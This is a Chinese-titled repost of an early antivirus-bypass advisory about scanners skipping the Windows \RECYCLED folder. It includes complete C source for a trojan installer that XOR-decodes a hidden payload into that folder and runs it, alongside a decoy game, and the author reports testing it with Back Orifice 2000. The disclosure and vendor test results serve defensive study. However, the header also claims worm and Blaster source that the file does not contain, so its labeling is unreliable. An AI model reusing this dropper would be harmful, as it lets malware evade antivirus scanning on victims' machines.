回收站病毒的源代码.txt

病毒源码 包括世上第一个病毒源码、蠕虫源码、冲击波源码

Greetings All, 

I originally released this vulnerability over the Christmas holidays on 
NTBugTraq. I spoke with a member of the Security Focus staff about 
getting it onto the web site and was told that I should post the problem 
here. During our conversation we decided that I hadn't been clear in my 
last posting and that I should re-do it complete with working exploit 
and source code. I hope this one makes more sense. The new version 
follows. 

Best Regards, 

Neil Bortnak 
InfoSec & Linux Consulting 
http://www.bortnak.com 


1.Background 
------------ 

Under Win95/98 the Recycle Bin is a system designed to make it easy for 
users to "undelete" files. When a user deletes from the GUI, the file is 
not really deleted but moved to a folder named "RECYCLED" located at the 
root of that volume. If the folder does not exist, possibly because 
nothing has ever been deleted on that volume, the directory is created. 
The file is then renamed and information about the file's original name 
and location are stored in an index file. When you look at the recycle 
bin through the GUI, Windows reads the index files from each volume and 
displays their contents. It does not display a raw directory listing. 
You cannot easily access a raw directory listing through the GUI. When 
you empty the recycle bin, Windows deletes all of the files in the 
RECYCLED directories that have a corresponding entry in one of the 
indexes. Therefore a file stored in a RECYCLED directory via DOS or a 
program will not show up anywhere in the GUI and will not be deleted 
when you empty the Recycle Bin. 


2. The Problem 
-------------- 

By default, some virus checkers exclude the files from their batch and 
on-access scanning whose pathnames begin with \RECYCLED. That is, all 
files and subdirectories within the RECYCLED folder on every volume will 
***NEVER BE SCANNED*** for any reason. Therefore you can store and run 
malicious code from these directories without setting off the virus 
checker. Since these files wouldn't have an entry in the Recycle Bin's 
index file, they will never be deleted. It's a safe haven. 


3. Exploitation Difficulties 
---------------------------- 

The difficult part about making this work from an attacker's point of 
view is getting the malicious code to the \RECYCLED directory. An e-mail 
virus checker will catch it as it comes into the network, and on-access 
scanning will catch it from the floppy drive. I've worked out two 
methods for getting the files into position without setting off the 
checkers. 


3.1 Trojan with encoded payload 
------------------------------- 

In my proof-of-concept code, I took one of those fun little games that 
are going around and made an "installation" program for it. The program 
uses a WinZip self-installer containing 3 files: a clean version of the 
fun game (hereafter known as the decoy), a setup program and a file 
called winsetup.dll. The winsetup.dll file is in fact the malicious 
program encoded by XORing all it's bytes with 25. By doing this the 
archive passes all virus checks with flying colors. This nicely bypasses 
any perimeter, e-mail, batch and on-access scans. 

When executed the WinZip installer extracts the files to a temporary 
directory and runs the setup program. The setup program copies the decoy 
to the users desktop. If a \RECYCLED directory doesn't exist, the setup 
program makes one. It then opens the winsetup.dll file for reading and 
creates a new file in the \RECYCLED directory. It copies the 
winsetup.dll file into it's new home 4k at a time, XORing it back to the 
original malicious executable. The setup program runs the malicious code 
in a hidden window and exits. 

I tested this idea using Back Orifice 2000. I configured it to install 
itself back into the RECYCLED directory after being run for the first 
time. It worked just fine. I downloaded the trojan, executed it, and 
connected to the BO2K server from another computer and none of the 
intervening virus checkers complained. That's really not supposed to 
happen. 


3.2 On a CD-ROM 
--------------- 

I didn't test this, but CD-ROMs are also excluded by default on some 
checkers. Someone can give it a try if they like (I haven't got a 
burner, but the theory is sound). 


4. Notes on NT 
-------------- 

The exploit works great under NT. The anti-virus folk make the same 
exclusions with NT checkers, presumably to deal with dual boot systems. 
NT's default permissions allow this to work even when the machine is not 
dual boot and has NTFS on all drives because EVERYONE can create 
directories at the root. Just make a \RECYCLED directory and away you 
go. 


5. General Notes 
---------------- 

I don't see why the \RECYCLED directory is excluded. It's even more 
strange when you consider that the \RECYCLER directories ARE scanned. 
The \RECYCLER directory stores the Recycle Bin's files under NT. One 
remark I had from an AV vendor implied that it was unreasonable to scan 
files in order to catch XORed or encrypted viruses. That's probably 
true, but the whole thing works because of the exclusion of the 
\RECYCLED directory. That's the crux of the issue, the rest of the code 
just exploits the real problem. 


6. Vulnerable Scanners 
---------------------- 

These are the results from the checker I have available. 

McAfee Virus Scan 
Engine: 4050 
DATs: 4062 
Vulnerable 

Norton Anti-Virus 
Engine: 5.01.01C 
DATs: 01/24/00 
Vulnerable 

Norton Anti-Virus 
Engine: 5.00.01C 
DATs: 01/24/00 
Not Vulnerable: Identifies EICAR.COM as Bloodhound.File.String 

The problem is more sinister with NAV because the \RECYCLED directory 
DOES NOT APPEAR on the exclusions list. It's hidden and can be found 
only by having a look at the preferences file with a hex editor. There 
are other hidden exclusions in that file, but I haven't had the 
opportunity to think about possible exploits yet. 


7. Solutions 
------------ 

With McAfee, just go into the exclusions tab and delete the \RECYCLED 
entry. You do that at your own risk of course, as I have no idea why it 
was excluded in the first place. As for NAV, I don't really have a good 
solution that doesn't involve doing creative things with a hex editor or 
installing software, which is to say that I don't have a good solution. 


8. The virusexploit0100.exe file 
-------------------------------- 

Included in this e-mail is a working exploit for this vulnerability. If 
you run the executable and your virus checker does not complain, check 
for the existence of an EICAR.COM file in the \RECYCLED directory. The 
correct \RECYCLED directory is almost certainly on your C: drive. If it 
exists your virus checker is vulnerable. 

To tidy up after the test, delete the decoy.exe program file that was 
copied to your desktop and the \RECYCLED\EICAR.COM file. 


Appendix A. Source Code 
-------------- 

The following source files are for the programs that come in the 
virusexploit0100.exe. 


A.1 setup.c 
----------- 

/* Setup program for bypassing virus checkers */ 

#include <sys/types.h> 
#include <sys/stat.h> 
#include <fcntl.h> 
#include <stdlib.h> 
#include <dir.h> 
#include <io.h> 
#include <stdio.h> 
#include <windows.h> 

#define SOURCE_FILE ".\\winsetup.dll" 
#define DEST_FILE "\\recycled\\eicar.com" 
#define DECOY_FILE ".\\decoy.exe" 
#define DECOY_DIR_KEY 
"Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders" 
#define DECOY_DIR_VAL "Desktop" 
#define BUFSIZE 4096 
#define XORME 25 

int PASCAL WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR 
lpszCmdLine, int nCmdShow) 
{ 
int sourcefile, destfile, bytesin,i; 
char buffer[BUFSIZE],szDirName[256],szDecoyDir[512]; 
long lerror; 
HKEY regkey; 
DWORD ValSize = sizeof(szDirName); /* How annoying */ 

/* Find out where the desktop is so we can put the decoy there */ 
if((lerror = 
RegOpenKeyEx(HKEY_CURRENT_USER,DECOY_DIR_KEY,0,KEY_QUERY_VALUE,&reg;key)) 
!= ERROR_SUCCESS) 
{ 
exit(0); 
} 
if((lerror = 
RegQueryValueEx(regkey,DECOY_DIR_VAL,0,NULL,&szDirName[0],&ValSize)) != 
ERROR_SUCCESS) 
{ 
exit(0); 
} 
RegCloseKey(regkey); 


/* Expand the dir name on the off chance it contains ENV vars */ 
ExpandEnvironmentStrings(&szDirName[0],&szDecoyDir[0],sizeof(szDecoyDir)); 
rename(DECOY_FILE,strcat(szDecoyDir,DECOY_FILE)); 


/* It doesn't matter what mkdir's return code is. It'll make the dir if 
it 
doesn't exist or fail of it does */ 
mkdir("\\recycled"); 


/* Prepare to "decrypt" the infected executable */ 
if((sourcefile = open(SOURCE_FILE,O_RDONLY | O_BINARY)) == -1) 
{ 
exit(0); 
} 
if((destfile = open(DEST_FILE,O_WRONLY | O_CREAT | O_EXCL | O_BINARY, 
S_IREAD | S_IWRITE)) == -1) 
{ 
exit(0); 
} 

/* "Decrypt" it */ 
while((bytesin = read(sourcefile,&buffer[0],BUFSIZE)) != 0) 
{ 
for(i=0;i<bytesin;i++) 
{ 
buffer[i] ^= XORME; 
} 
write(destfile,&buffer[0],bytesin); 
} 

close(sourcefile); 
close(destfile); 

/* Run the infected executable. You would normally use SW_HIDE here. */ 
WinExec(DEST_FILE,SW_SHOWNORMAL); 
return(0); 
} 


A.2 decoy.c 
----------- 

/* 
A lame decoy program by Neil Bortnak 
*/ 

#include <windows.h> 

int PASCAL WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR 
lpszCmdLine, int nCmdShow) 
{ 
char message[] = "This is the decoy program. Normally you'd use a fun 
little game\nor a self-playing animation of questionable taste."; 
MessageBox(NULL,&message[0],"Virus Test",MB_OK | MB_ICONINFORMATION); 
return(0); 
}